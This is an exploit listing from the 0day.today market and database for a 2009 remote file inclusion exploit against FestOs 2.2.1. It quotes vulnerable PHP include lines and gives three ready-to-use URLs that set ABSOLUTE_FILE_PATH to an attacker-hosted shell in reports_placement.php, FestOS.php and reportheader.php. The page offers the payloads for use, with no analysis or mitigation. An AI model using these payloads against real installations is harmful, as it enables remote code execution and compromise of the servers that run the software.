[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

FestOs <= 2.2.1 Multiple RFI Exploit

Author
cr4wl3r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10336
Category
web applications
Date add
19-12-2009
Platform
unsorted
====================================
FestOs <= 2.2.1 Multiple RFI Exploit
====================================

##################################################################
## Exploit Title: FestOs <= 2.2.1 Multiple RFI Exploit          ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://code.google.com/p/festos/downloads/list##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################
 
~ Code : [reports_placement.php]
 
<?php
$title = "Jury Sheet Report";
 
require_once($config['ABSOLUTE_FILE_PATH'].'core/core.php');
if($_SESSION["roleID"] > $reports) {
   header("Location:index.php");
}
include "includes/reportheader.php";
?>
 
 
~ 3xplo!t :
 
[festos_path]/admin/reports_placement.php?ABSOLUTE_FILE_PATH=[Shell]
 
 
~ Code : [FestOS.php]
 
require_once($config['ABSOLUTE_FILE_PATH']."core/sessions.php");
 
 
~ 3xplo!t :
 
[festos_path]/core/FestOS.php?ABSOLUTE_FILE_PATH=[Shell]
 
 
 
~ Code : [reportheader.php]
 
require_once($config['ABSOLUTE_FILE_PATH'].'core/core.php');
 
 
~ 3xplo!t :
 
[festos_path]/admin/includes/reportheader.php?ABSOLUTE_FILE_PATH=[Shell]
 
 
and more...



#  0day.today [2024-07-05]  #